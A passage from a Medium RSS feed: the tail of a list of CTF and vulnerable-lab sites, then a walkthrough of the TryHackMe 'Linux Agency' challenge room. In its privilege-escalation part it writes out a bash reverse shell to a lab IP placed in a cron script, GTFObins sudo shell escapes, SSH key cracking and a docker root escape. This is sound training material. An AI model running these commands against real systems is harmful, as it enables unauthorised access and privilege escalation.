Cyber Aces</li><li><a href="http://www.smashthestack.org/">Smash The Stack </a>— Wargaming Network</li><li><a href="http://sqlzoo.net/hack/">SQLZoo</a> — Exploiting an SQL Inject attack involves solving a puzzle that is a cross between Hangman and 20 Questions. It needs a little understanding of SQL and a great deal of cunning</li><li><a href="http://www.bright-shadows.net/">TheBlackSheep and Erik </a>— Offers you hundreds of challenges in the fields of programming, JavaScript, PHP, Java, steganography, cryptography and others</li><li><a href="http://thisislegal.com/">ThisIsLegal </a>— A hacker wargames site with much more such as forums and tutorials</li><li><a href="http://www.try2hack.nl/">Try2Hack </a>— This site provides several security-oriented challenges for your entertainment. It is actually one of the oldest challenge sites still around</li><li><a href="https://vulnhub.com/">VulnHub </a>— A collection of vulnerable hosts and associated challenges to gain ‘hands-on’ experience in cyber security.</li><li><a href="http://canyouxssthis.com/HTMLSanitizer/">XSS: Can You XSS This? </a>— Use HTMLSanitizer to protect your Web Apps</li><li><a href="https://xss-game.appspot.com/">XSS Game </a>— Learn to find and exploit XSS bugs</li><li><a href="http://xss.progphp.com/">XSS: ProgPHP </a>— Next-Gen Domain Registration. Progphp.com is coming soon!</li><li><a href="http://pwnable.tw/">Pwnable.tw</a> — A newer set of high quality pwnable challenges)</li><li><a href="http://pwnable.kr/">Pwnable.kr</a> — One of the more popular recent wargamming sets of challenges</li><li><a href="https://picoctf.com/">PicoCTF</a> — Designed for high school students while the event is usually new every year, it’s left online and has a great difficulty progression</li><li><a href="http://ctflearn.com/">CTF Learn</a> — A new CTF based learning platform with user-contributed challenges</li><li><a href="http://reversing.kr/">Reversing.kr</a> — This site tests your ability to Cracking &amp; Reverse Code Engineering</li><li><a href="https://w3challs.com/">w3challs</a> — Our challenges address several subsets of hacking, mostly oriented on the offensive. A multitude of technologies and architectures are waiting for you. Show us your mad skillz and pop some shells (or calcs)!</li><li><a href="https://ringzer0team.com/">RingZer0 Team</a> — RingZer0 Team’s online CTF offers you tons of challenges designed to test and improve your hacking skills through hacking challenges.</li><li><a href="http://www.hellboundhackers.org/">HellBound Hackers</a> -The hands-on approach to computer security and simulated security challenges</li><li><a href="http://ctf.komodosec.com/">Komodo Consulting</a> — Application Security Challenge designed to challenge your application hacking skills</li><li><a href="https://maxkersten.nl/binary-analysis-course/">Maxkersten Binary Analysis</a> — A practical binary analysis course</li><li><a href="https://pwnadventure.com/">PwnAdventure</a> — Pwnie Island is a limited-release, first-person, true open-world MMORPG set on a beautiful island where anything could happen. That’s because this game is intentionally vulnerable to all kinds of silly hacks! Flying, endless cash, and more are all one client change or network proxy away</li></ul><h3>Labs</h3><ul><li><a href="https://github.com/isislab/CTFd">CTFd </a>— CTFs as you need them</li><li><a href="https://github.com/Nakiami/mellivora">Mellivora </a>— Mellivora is a CTF engine written in PHP</li><li><a href="https://sourceforge.net/projects/metasploitable/files/Metasploitable2/">Metasploitable2 </a>— Metasploitable is an intentionally vulnerable Linux virtual machine</li><li><a href="https://github.com/UnrealAkama/NightShade">NightShade </a>— A simple capture the flag framework.</li><li><a href="https://github.com/SpiderLabs/MCIR">MCIR </a>— The Magical Code Injection Rainbow! MCIR is a framework for building configurable vulnerability testbeds. MCIR is also a collection of configurable vulnerability testbeds.</li><li><a href="https://www.vagrantup.com/">Vagrant </a>— Development Environments Made Easy</li><li><a href="https://informatica.uv.es/~carlos/docencia/netinvm/">NETinVM </a>— A tool for teaching and learning about systems, networks and security</li><li><a href="https://smartos.org/">SmartOS </a>— SmartOS is a free and open-source SVR4 hypervisor based on the UNIX operating system that combines OpenSolaris technology with Linux’s KVM virtualization.</li><li><a href="https://github.com/joyent/sdc">SmartDataCenter </a>— Joyent Triton DataCenter: a cloud management platform with first class support for containers.</li><li><a href="https://www.vmware.com/products/vsphere-hypervisor/">vSphere Hypervisor </a>— vSphere Hypervisor is a bare-metal hypervisor that virtualizes servers; allowing you to consolidate your applications while saving time and money managing your IT infrastructure.</li><li><a href="http://sourceforge.net/projects/gns-3/">GNS3 </a>— Build, Design and Test your network in a risk-free virtual environment and access the largest networking community to help.</li><li><a href="https://opencyberchallenge.net/">OCCP </a>— A free, configurable, open-source virtualization platform for cyber security educators and challenge event coordinators.</li><li><a href="https://www.apachefriends.org/index.html">XAMPP </a>— XAMPP is a completely free, easy to install Apache distribution containing MariaDB, PHP, and Perl. The XAMPP open source package has been set up to be incredibly easy to install and to use.</li><li><a href="https://github.com/madhuakula/kubernetes-goat">Kubernetes Goat</a> — The Kubernetes Goat designed to be intentionally vulnerable cluster environment to learn and practice Kubernetes security.</li><li><a href="https://www.offensive-security.com/labs/individual/">Offensive Security</a> — Practice your pentesting skills in a standalone, private lab — environment with the additions of PG Play and PG Practice to Offensive Security’s Proving Grounds training labs.</li><li><a href="http://www.gameofhacks.com/">Game of Hacks</a> — Alright, this one isn’t exactly a vulnerable web app — but it’s another engaging way of learning to spot application security vulnerabilities, so we thought we’d throw it in</li><li><a href="https://google-gruyere.appspot.com/">Google Gruyere</a> — This ‘cheesy’ vulnerable site is full of holes and aimed for those just starting to learn application security.</li><li><a href="https://www.hellboundhackers.org/">Hellbound Hackers</a> — Hellbound Hackers, the hands-on approach to computer security, offers a wide array of challenges with the aim to teach how to identify exploits and suggest the code to patch it</li><li><a href="https://sourceforge.net/projects/peruggia/">Peruggia</a> — Peruggia is a safe environment for security professionals and developers to learn and test common attacks on web applications.</li><li><a href="https://github.com/oliverwiegers/pentest_lab">oliverwiegers/pentest_lab</a> — Local pentest lab leveraging Docker Compose.</li></ul><h3>Mobile Apps</h3><ul><li><a href="https://code.google.com/p/dvaa/">Damn Vulnerable Android App (DVAA) </a>— Damn Vulnerable Android App (DVAA) is an Android application which contains intentional vulnerabilities</li><li><a href="https://github.com/arroway/dvfa">Damn Vulnerable FirefoxOS Application (DVFA) </a>— Damn Vulnerable FirefoxOS Application — a purposefully vulnerable application for demontrastion</li><li><a href="https://github.com/kaiiyer/awesome-vulnerable/blob/master/damnvulnerableiosapp.com">Damn Vulnerable iOS App (DVIA) </a>— Damn Vulnerable iOS App (DVIA) is an iOS application that is damn vulnerable</li><li><a href="https://securitycompass.github.io/AndroidLabs/">ExploitMe Mobile Android Labs</a> — The insecure Android app for your hacking pleasure</li><li><a href="https://securitycompass.github.io/iPhoneLabs/">ExploitMe Mobile iPhone Labs </a>— A defective iPhone App for your hacking pleasure</li><li><a href="https://www.mcafee.com/us/downloads/free-tools/hacme-bank-android.aspx">Hacme Bank Android </a>— Free McAfee tools to aid in your security protection.</li><li><a href="https://www.paladion.net/downloadapp.html">InsecureBank </a>— Cyber Tales by Paladion</li><li><a href="https://github.com/NocONName/Wargame_NcN2012">NcN Wargame </a>— No cON Name 2012 Challenges</li><li><a href="https://code.google.com/p/owasp-igoat/">OWASP iGoat </a>— The OWASP iGoat project is a security learning tool for iOS developers to learn about security weaknesses in iOS — by breaking things as well as fixing them.</li><li><a href="https://github.com/jackMannino/OWASP-GoatDroid-Project">OWASP Goatdroid </a>— OWASP GoatDroid is a fully functional and self-contained training environment for educating developers and testers on Android security</li></ul><p>You can find me on:<br><strong>LinkedIn:-</strong> <a href="https://www.linkedin.com/in/shamsher-khan-%F0%9F%9B%A1%EF%B8%8F-651a35162/">https://www.linkedin.com/in/shamsher-khan-%F0%9F%9B%A1%EF%B8%8F-651a35162/</a><br><strong>Twitter:-</strong> <a href="https://twitter.com/shamsherkhannn">https://twitter.com/shamsherkhannn</a><br><strong>Tryhackme:- </strong><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></p><p>For more walkthroughs stay tuned…<br>Before you go…</p><p><strong>Click Here To Join Telegram</strong><br><a href="https://t.me/tryhackme_writeups">https://t.me/tryhackme_writeups</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*Vve7XR6kstH7qA5iQQ-kYA.png" /></figure><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e76ca7235e74" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Agency TryHackme Writeup]]></title>
            <link>https://shamsher-khan-404.medium.com/linux-agency-tryhackme-writeup-1cdce81edbaa?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1cdce81edbaa</guid>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Wed, 19 May 2021 06:46:47 GMT</pubDate>
            <atom:updated>2021-05-19T06:46:47.290Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher Khan, This is a Writeup of Tryhackme room “Linux Agency”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*OvZP-PQGC78ws6L1trK-nw.png" /><figcaption><a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a></figcaption></figure><p>Welcome to Linux Agency. Agent 47, this is where you will need to go through several tests concerning linux fundamentals and privilege escalation techniques.</p><p>This room is proudly made by <a href="https://twitter.com/0z09e"><strong>0z09e</strong> </a>and <a href="https://twitter.com/xyan1d3"><strong>Xyan1d3</strong></a></p><p>If you enjoy this room, please let us know by tagging us on Twitter. You may also contact us in case of some unintended routes or bugs, and we will be happy to resolve them.</p><p>Please wait about 1 minute before SSH’ing into the box.</p><p>SSH Username : <strong>agent47</strong></p><p>SSH Password : <strong>640509040147</strong></p><p>Each flag found will serve as the password for the next user. The flag includes the username of the next user that is part of this challenge. The Flag format is : username{md5sum}</p><p>The order of users: agent47 → mission1 → mission30 will be part of Task 3: Linux Fundamentals.</p><p>After those missions, the next levels will be in Task 4: Privilege Escalation.</p><p>SSH into the box as agent47</p><pre>ssh agent47@10.10.188.218</pre><p>Agent 47, we are ICA, the Linux Agency. We will test your Linux Fundamentals. Let’s see if you can pass all these challenges of basic Linux. The password of the next mission will be the flag of that mission. Example: mission1{1234567890} will be the password for the mission1 user.</p><h4>Important Note:-</h4><h4>Find directory name</h4><pre>find / -type d -name &quot;mission1&quot; 2&gt;/dev/null</pre><h4>Find File name</h4><pre>find / -type f -name &quot;mission1&quot; 2&gt;/dev/null</pre><h4>Find Single word in whole system</h4><pre>grep -r &quot;mission1&quot; / 2&gt;/dev/null</pre><h4>Find word in hidden folder</h4><pre>grep -r mission1 * .[^.]* 2&gt;/dev/null</pre><p><strong>Question 1</strong>. What is the mission1 flag?</p><p>Let’s go try every method here one by one</p><p>Now find a string “mission1” in hidden directory Example:- <strong>.folder</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*1PpF6D--AzvkCCz--pGreg.png" /></figure><p>So Now we Have</p><pre>User =&gt; mission1<br>password =&gt; mission1{17********************f0}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*l9xg6sppY3Teq7e0dxJaeQ.png" /></figure><p>Now we turn into mission1 user. Lets find mission 2 flag</p><p><strong>Question 2</strong>. What is the mission2 flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*9GpvUwTyxEIkXfyeFRjTIg.png" /></figure><p>So Now we Have</p><pre>User =&gt; mission2<br>password =&gt; mission2{8a********************0d}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*0GdLAVEaMHZQLOcFEinfvQ.png" /></figure><p>Now we turn into mission2 user. Lets find mission 3 flag</p><p><strong>Question 3</strong>. What is the mission3 flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*9bKXuB29msXiOKeeBg5UxA.png" /></figure><p>So Now we Have</p><pre>User =&gt; mission2<br>password =&gt; mission3{ab********************76}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*IFTf6QLE1lBembeEJaSgzw.png" /></figure><p>Now we turn into mission3 user. Lets find mission 4flag</p><p><strong>Question 3</strong>. What is the mission4 flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*sJu5nNIC2vpvNOZ3bk6-_A.png" /></figure><p>try nano flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*aGwdKCO-00SCiK032a9OCw.png" /></figure><p><strong>Question 4. </strong>what is mission5 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*Btl7uygFTIsHC0_654BOfQ.png" /></figure><p><strong>Question 5. </strong>what is mission6 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*d2laxEqZDno-1jIbzp3DQQ.png" /></figure><p><strong>Question 6. </strong>what is mission7 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*GvBLIlnKszcDf1Ci3jaOGw.png" /></figure><p><strong>Question 7. </strong>what is mission8 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*T-s12si8G5cfthdxMeDbMw.png" /></figure><p><strong>Question 8. </strong>what is mission9 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*KsQQgwujDHSv9ef2yzP6_A.png" /></figure><p><strong>Question 9. </strong>what is mission10 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*qgEFL9S0wg96pS4tZfHW7w.png" /></figure><p><strong>Question 10. </strong>what is mission11 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*Yw6mFQSU9qFEUaH1IxFAmw.png" /></figure><p><strong>Question 11. </strong>what is mission12 flag</p><p>Hint says EVS that menas Environment system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*7bH5I6DGn_UN1PQg--SAJQ.png" /></figure><p><strong>Question 12. </strong>what is mission13 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*D4iu4KrUIdCN8Mil3SrI7w.png" /></figure><p><strong>Question 13. </strong>what is mission14 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ktpm1vsMQJ0uMCqXEDnXA.png" /></figure><p><strong>Question 14. </strong>what is mission15 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VF3_E9pUNUIOumFh8dJiXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*6iGeoCNhfEPDjYMGUv0c_w.png" /><figcaption><a href="https://www.convertbinary.com/to-text/">https://www.convertbinary.com/to-text/</a></figcaption></figure><p><strong>Question 15. </strong>what is mission16 flag</p><p>Hex to Text convert</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*fnMSw-3ggj9d-XX94NOH9A.png" /></figure><p><strong>Question 16. </strong>what is mission17 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*t6xyOx6rmWekV4cngXMvQQ.png" /></figure><p>its look like binary file because of ELF word in file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*w364ZsnR5zvEeO-Y09N1OQ.png" /></figure><p><strong>Question 17. </strong>what is mission18 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*phlaBs46gbu229eHlPTqGA.png" /></figure><p>So its Java file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*PYxN4_kKa-3Ns4bPkMukmw.png" /></figure><p><strong>Question 18. </strong>what is mission19 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*WABgL9NtXVtl6oGsBx1C0w.png" /></figure><p><strong>Question 19. </strong>what is mission20 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*O7KcMzinWlDY6yY_Y1nkwg.png" /></figure><p><strong>Question 20. </strong>what is mission21 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*wjTgzgPqieAg892z1FR8Gg.png" /></figure><p>In the deploy machine there is no python tool so copied the code and run on own kali linux , and then run program</p><pre>flag = &quot;&gt;:  :&lt;=ab(d76dfe2210fak1gge5e61`kgbj`bk5c0.&quot;<br>for i in range(len(flag)):<br>    flag = (flag[:i] + chr(ord(flag[i]) ^ ord(&quot;S&quot;)) +flag[i + 1:]);<br>    print(flag[i], end = &quot;&quot;);<br>print()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*izNlNvGxt5-e2I9_5cOIng.png" /></figure><p><strong>Question 21. </strong>what is mission22 flag</p><p>Get TTY Shell</p><pre>script -qc /bin/bash /dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*g7oOHjmaLjW6FTsmJNwbIw.png" /></figure><p><strong>Question 22. </strong>what is mission23 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*9mPGuHZZiAnqmulCmD90IA.png" /></figure><p><strong>Question 23. </strong>what is mission24 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*CbiKQIhLNTlAFEFHBYi2hw.png" /></figure><p><strong>Question 24. </strong>what is mission25 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*66Jh3Y8n670zHCbczpe5gQ.png" /></figure><p><strong>Question 25. </strong>what is mission26 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*rsxrJXtqVolMGTt-H9R1zA.png" /></figure><pre>su mission26<br>exit<br>su mission26</pre><p><strong>Question 26. </strong>what is mission27 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*dzGz1ML09E0wsDwuoarKUQ.png" /></figure><p><strong>Question 27. </strong>what is mission28 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*D0OgwuEuNLXQW6KYRqhAzg.png" /></figure><p><strong>Question 28. </strong>what is mission29 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*8sgxF5ez3AYRghuIEHjxWg.png" /></figure><p><strong>Question 29. </strong>what is mission30 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*7O5dcqjgv8xxBZy390NxMg.png" /></figure><p><strong>What is viktor’s Flag?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*RAcnqh7kpxLfC6JTHQrZkg.png" /></figure><h4>Task 4. Privilege Escalation</h4><p><strong>What is dalia’s flag?</strong></p><p>Let’s find suspicious file in system. when we review <strong>/etc/crontabs, </strong>something looks like interesting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*7FHW6SNThjcpXnxdZvp2qg.png" /></figure><p>Now Check this script, and also we have permission to execute this script and <strong>cronjob</strong> per minute. One more thing, <strong>47.sh</strong> script is same with the output of the decode of the <strong>base64</strong> decode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*OKdoBWV5WhYe23CCwY5l1A.png" /></figure><p>Let’s add our reverse shell here</p><p>Now start netcat listener</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.2.12.26/4444 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*nyUIo4BXXo0OYwZ3COQC9A.png" /></figure><p>you have only 30 seconds to add shell and get reverse shell otherwise your 47.sh file will be reset and you need add shell again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8OCkQSlguk5Li3EIYWQhw.png" /></figure><p>BOOM ! we got shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*8pPguLTb2B3TBZZG0QBiFg.png" /></figure><h4>tty shell</h4><p>But its not proper interactive shell . To get tty shell we do this kind of things</p><ul><li><strong>The first thing</strong>: to do is use <strong>script -qc /bin/bash /dev/null</strong>, which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the <strong>arrow keys</strong>, and <strong>Ctrl + C</strong> will still kill the shell.</li></ul><p><strong>-Step two is</strong>: <strong>export TERM=xterm</strong> — this will give us access to term commands such as clear.</p><p><strong>-Finally</strong> <strong>(and most importantly)</strong> we will background the shell using <strong>Ctrl + Z</strong>. Back in our own terminal we use <strong>stty raw -echo; fg</strong>. This does two things: first, it turns off our own terminal echo (which gives us access to <strong>tab autocompletes</strong>,<strong> the arrow keys</strong>, and <strong>Ctrl + C</strong> to kill processes). It then foregrounds the shell, thus completing the process.<br>-<strong>Note</strong> <strong>that if the shell dies</strong>, any input in your own terminal will not be visible (as a result of having disabled terminal echo). <strong>To fix this</strong>, type <strong>reset</strong> and press enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*7QDSO5PyxMLCdJuM6DNndg.png" /></figure><p><strong>What is silvio’s flag?</strong></p><p>We have sudo rights</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*ItPVHmSDVHPZCrKbLoOcCw.png" /></figure><p><strong>Run as</strong> <strong>silvio</strong> with <strong>sudo</strong>, you’ll gain <strong>silvio</strong>:</p><p><a href="https://gtfobins.github.io/gtfobins/zip/#sudo">GTFObins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*23s8CT456BcReFy2vAyU9A.png" /></figure><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT &#39;sh #&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*BAPA8yhE8WOSTL49oTpPeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*J6ycQTdi7JZgyOPdSGpN8g.png" /></figure><p><strong>What is reza’s flag?</strong></p><p>We have sudo rights again for another command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*MqLhudOCpT_QSwlialNdAg.png" /></figure><p><a href="https://gtfobins.github.io/gtfobins/git/#sudo">GTFObins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*KoZydGn6CUZmJFxm7bivvg.png" /></figure><pre>sudo -u reza PAGER=&#39;sh -c &quot;exec sh 0&lt;&amp;1&quot;&#39; git -p<br>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*Fv4u28MhGC2xGMIZYA9eEA.png" /></figure><p><strong>What is jordan’s flag?</strong></p><p>When review the <strong>sudo</strong> rights, we see <strong>/opt/scripts/Gun-Shop.py</strong> script. If we execute it, we get a message which there is no <strong>shop</strong> module in the below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*Bsa6fxmZ36tqdiO0aC3kzw.png" /></figure><p>But we can add this module to a directory like <strong>/tmp</strong> which each user and services access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*2EXpaBbwD5x8ytIAKW2P6Q.png" /></figure><p>You can do whatever you want. You can try to get a revershell or bindshell. Hereby the most significant point is the right which <strong>/opt/scripts/Gun-Shop.py</strong> script runs with jordan permission:</p><p>Run as jordan with sudo /opt/scripts/Gun-Shop.py: <strong>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*21Ip4pPt4RL4ZNIcVVTvJw.png" /></figure><p><strong>What is ken’s flag?</strong></p><p>Check sudo rights: <a href="https://gtfobins.github.io/gtfobins/less/#sudo">https://gtfobins.github.io/gtfobins/less/#sudo</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*49FThfv8Os2fXQ2XI2VLGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*R3TR60Dg3KhzogmRofvzHA.png" /></figure><p>Run as <strong>ken</strong>: <strong>sudo -u ken less /etc/profile</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*Ebb8EDMG60v_C5E1y-3e_A.png" /></figure><p>Add <strong>!/bin/sh</strong> to the page which popped up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*GOkdLxyiiaQYKp-7GItogA.png" /></figure><p><strong>What is sean’s flag?</strong></p><p>Check the <strong>sudo</strong> rights one more time: <a href="https://gtfobins.github.io/gtfobins/vim/#sudo">https://gtfobins.github.io/gtfobins/vim/#sudo</a> -&gt; (a)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*B6IrrfSKrSxa8N_0D-GyDw.png" /></figure><p>Run as <strong>sean</strong>: <strong>sudo -u sean vim -c ‘:!/bin/sh’</strong></p><pre>script -qc /bin/bash /dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1ivdDNoIkGNJ5oPmC13XA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Qm256rnzZxBms1YtH6gWfA.png" /></figure><p><strong>What is penelope’s flag?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*iR4uEgngDYtGepneU2h92w.png" /></figure><p><strong>What is maya’s flag?</strong></p><p>the owner of <strong>base64 </strong>file is maya</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*SiEijExUWo5lwNmRCeqlug.png" /></figure><p>Check it on <a href="https://gtfobins.github.io/">gtfobins</a>: <a href="https://gtfobins.github.io/gtfobins/base64/#sudo">https://gtfobins.github.io/gtfobins/base64/#sudo</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*xGLcYgPTu8XEWDFU-wTZYw.png" /></figure><p><strong>What is robert’s Passphrase?</strong></p><p>Check <strong>old_robert_ssh</strong> directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*1lGZKeUW9QIZpBLvrAZL7Q.png" /></figure><p>Copy <strong>id_rsa</strong> with <strong>scp</strong> on your local machine, convert <strong>id_rsa</strong> into hash using <strong>/usr/share/john/ssh2john</strong> and finally crack it with <strong>john</strong> like in the below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VfOAQorr5RiwTFb2kxmoXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*DeYFMvr_372L7kOHJVAQvg.png" /></figure><p><strong>What is user.txt?</strong></p><p>Use <strong>ss</strong> of network tool to monitorize ports on victim machine: <strong>ss -tulpn</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHyUSe0lhw8Rjx-GZOxoyQ.png" /></figure><p>Number of port <strong>2222</strong> looks like handful:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*HYpRrGxHmQXGmzWCzaMWFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*Tq2Ti8ah54w6fhFVDidguQ.png" /></figure><p><strong>Sudo Security Bypass room</strong></p><p>(<a href="https://tryhackme.com/room/sudovulnsbypass">https://tryhackme.com/room/sudovulnsbypass</a>) for Sudo Security Bypass on exploit-db (<a href="https://www.exploit-db.com/exploits/47502">https://www.exploit-db.com/exploits/47502</a>) and also you can check here:<a href="https://gtfobins.github.io/gtfobins/bash/#sudo"> https://gtfobins.github.io/gtfobins/bash/#sudo</a>.</p><p><strong>Now we are root with privileges</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*XVZC_Xm_9qzCIrgvMTNLew.png" /></figure><p><strong>What is root.txt?</strong></p><p>We check users on the system but mission users and others don’t appear:</p><pre>./docker ps -a<br>./docker image ls<br>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6CVfEzVW5uV01woTao8UpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*tw2hmRjOBbhIdH-_T7s-Ew.png" /></figure><p>You can find me on:</p><p><strong>LinkedIn:-</strong> <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">https://www.linkedin.com/in/shamsher-khan-651a35162/</a> <br><strong>Twitter:-</strong> <a href="https://twitter.com/shamsherkhannn">https://twitter.com/shamsherkhannn</a><br><strong>Tryhackme:-</strong> <a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1cdce81edbaa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Physical Security Intro Tryhackme Writeup]]></title>
            <link>https://shamsher-khan-404.medium.com/physical-security-intro-tryhackme-writeup-8d59de9e56d3?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d59de9e56d3</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
